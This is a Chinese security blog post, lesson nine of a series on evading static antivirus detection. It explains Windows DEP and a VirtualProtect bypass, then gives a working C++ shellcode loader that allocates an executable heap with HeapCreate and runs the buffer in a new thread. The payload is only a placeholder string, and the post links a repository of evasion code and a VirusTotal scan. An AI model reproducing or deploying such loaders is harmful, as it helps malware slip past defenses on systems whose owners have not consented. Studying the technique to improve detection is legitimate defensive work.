倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

29 Nov 2020

静态恶意代码逃逸(第九课)

代码将会上传至Github,方便读者下载研究 : https://github.com/Rvn0xsy/BadCode

0x01 数据执行保护(DEP)

DEP(Data Execution Prevention)即“ 数据执行保护”,这是Windows的一项安全机制,主要用来防止病毒和其他安全威胁对系统造成破坏。 微软从Windows XP SP2引入了该技术,并一直延续到今天。

为什么要有DEP

在Windows Xp SP2 之前的时代,缓冲区溢出漏洞利用门槛太低了,只要发现有缓冲区溢出漏洞,就可以直接稳定利用,攻击者只需要将Shellcode不断写入堆栈,然后覆盖函数返回地址,代码就可以在堆栈中执行。但堆栈的用途主要是保存寄存器现场,提供一个函数运行时的存储空间,极少数需要代码在堆栈中执行,于是微软为了缓解类似的情况,发明了DEP保护机制,用于限制某些内存页不具有可执行权限。

0x02 如何绕过DEP

VirtualProtect这个API能够更改内存页的属性为可执行或不可执行,对于二进制漏洞利用来说,溢出的时候,把返回地址设计为VirtualProtect的地址,再精心构造一个栈为调用这个API的栈,就可以改变当前栈的内存页的属性,使其从"不可执行"变成"可执行"。

0x03 举一反三

由此说来,Shellcode执行其实也需要一个可执行的内存页,那么还有哪些API能够构造一个可执行的内存页呢?

HeapCreate可以在进程中创建辅助堆栈,并且能够设置堆栈的属性:

1
2
3
4
HANDLE WINAPI HeapCreate(
__in DWORD flOptions,
__in SIZE_T dwInitialSize,
__in SIZE_T dwMaximumSize );

第一个参数flOptions用于修改如何在堆栈上执行各种操作。 你可以设定0HEAP_NO_SERIALIZEHEAP_GENERATE_EXCEPTIONSHEAP_CREATE_ENABLE_EXECUTE或者是这些标志的组合。

看到HEAP_CREATE_ENALBE_EXECUTE相信很多人能够恍然大悟,我们的Shellcode可以存入这个辅助堆栈中,然后创建一个线程运行它即可。

0x04 Shellcode执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#include <iostream>
#include <Windows.h>

int main()
{
	char shellcode[] = "123";

	HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);

	PVOID Mptr = HeapAlloc(hHep, 0, sizeof(shellcode));

	RtlCopyMemory(Mptr, shellcode, sizeof(shellcode));
	DWORD dwThreadId = 0;
	HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);
	WaitForSingleObject(hThread, INFINITE);

    std::cout << "Hello World!\n";
}

上方的例子中,我将shellcode替换为了其他字符串,因为我觉得shellcode混淆是另外一回事。

2020-11-29-17-41-52

样本链接:https://www.virustotal.com/gui/file/1db88905be721e2b279f8f9a6dad1fbf945311b50cc79378d9f69cec5bbe2f6a/detection